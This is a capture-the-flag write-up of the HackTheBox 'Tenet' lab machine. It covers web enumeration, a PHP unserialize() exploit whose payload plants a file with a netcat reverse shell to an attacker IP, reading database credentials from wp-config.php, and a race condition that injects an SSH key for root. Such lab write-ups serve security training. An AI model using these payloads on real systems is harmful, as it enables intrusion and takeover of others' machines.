Welcome to the Tenet writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


tags: HTB Medium Linux
Platform: Hackthebox
Difficult: Medium
S.O.: Linux



kali@kali:/mnt/hgfs/2_MisPostsBlog/HTB/Tenet$ sudo nmap -sC -sV -p22,80 -n -oN PortsDepth.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-16 16:03 EST
Nmap scan report for
Host is up (0.034s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.41 seconds

In port 80 we find the main page of the apache server, I am going to list the possible domains that may exist.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "HOST: FUZZ.htb" -u -mc 200 -fs 10918

Perfect, we have found the domain tenet.htb and with it, we find a wordpress. In one of the posts there is a comment and there are two user neil and protagonist.

kali@kali:/mnt/hgfs/2_MisPostsBlog/HTB/Tenet$ gobuster dir -t 40 -u http://tenet.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:            http://tenet.htb/
[+] Threads:        40
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,txt
[+] Timeout:        10s
2021/01/16 16:24:20 Starting gobuster
/wp-content (Status: 301)
/index.php (Status: 301)
/wp-login.php (Status: 200)
/license.txt (Status: 200)
/wp-includes (Status: 301)
/readme.html (Status: 200)
/wp-trackback.php (Status: 200)
/wp-admin (Status: 301)
/wp-signup.php (Status: 302)
/server-status (Status: 403)
2021/01/16 16:38:47 Finished

Inside a blog comment they talk about a php file called sator and a backup but as much as I look for it inside the server I can't find it so, I'm going to look for it inside the ip.

I have created a dictionary with the words sator and backup and now fuzzing over the IP after trying the extensions .php, .bak and .php.bak we found the file sator.php.bak

ffuf -w dict.txt -u -t 200

 :: Method           : GET
 :: URL              :
 :: Wordlist         : FUZZ: dict.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200,204,301,302,307,401,403

sator                   [Status: 200, Size: 514, Words: 48, Lines: 32]
:: Progress: [1/2] :: Job [1/1] :: 1460 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

The content of the file is as follows:

    class DatabaseExport
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
            echo '[+] Grabbing users from text file <br>';
            $this-> data = 'Success';

        public function __destruct()
            file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
            echo '[] Database updated <br>';
        //  echo 'Gotta get this working properly...';

    $input = $_GET['arepo'] ?? '';
    $databaseupdate = unserialize($input);

    $app = new DatabaseExport;
    $app -> update_db();


As we can see, we can inject using the arepo parameter which is processed by the unserialize() function.
Using the following PHP code we can generate the serialized injection to obtain an RCE.

    class DatabaseExport
        public $user_file = 'cmd.php';
        public $data = "<?php system('touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.x 4444 > /tmp/f '); ?>";

    print urlencode(serialize(new DatabaseExport))."\n";
kali@kali:$ php ExUnserialize.php

Now you just have to put a terminal to listen and call the URL:

Post exploitation

Privilege scalation to neil

To get the user flag we need to scale from www-data to neil. The first thing that comes to mind is the wordpress wp-config.php file.

www-data@tenet:/var/www/html/wordpress$ cat wp-config.php
/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

We may have the password for user neil. Let's authenticate.

www-data@tenet:/var/www/html/wordpress$ su neil
Password: Opera2112

With this, we can now get the user flag.
Now we are going to list a bit to try to get root.



neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass,

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

Privilege escalation to root

We can run the enableSSH.sh file as root using sudo.

We put our rsa key in a file called key.pub.

Note: tmux has been used within the server to generate the 2 terminals. (Accessing with two different SSH accounts has NOT worked since each SSH session has a clean /tmp directory)

Terminal1:$ while true; do sudo /usr/local/bin/enableSSH.sh; done >/dev/null
Terminal2:$ while true; do cat key.pub > $(ls ssh*);done 2>/dev/null

After a few seconds with Ctrl + c we exit both loops.

Now all you have to do is ssh the machine as root and get its flag.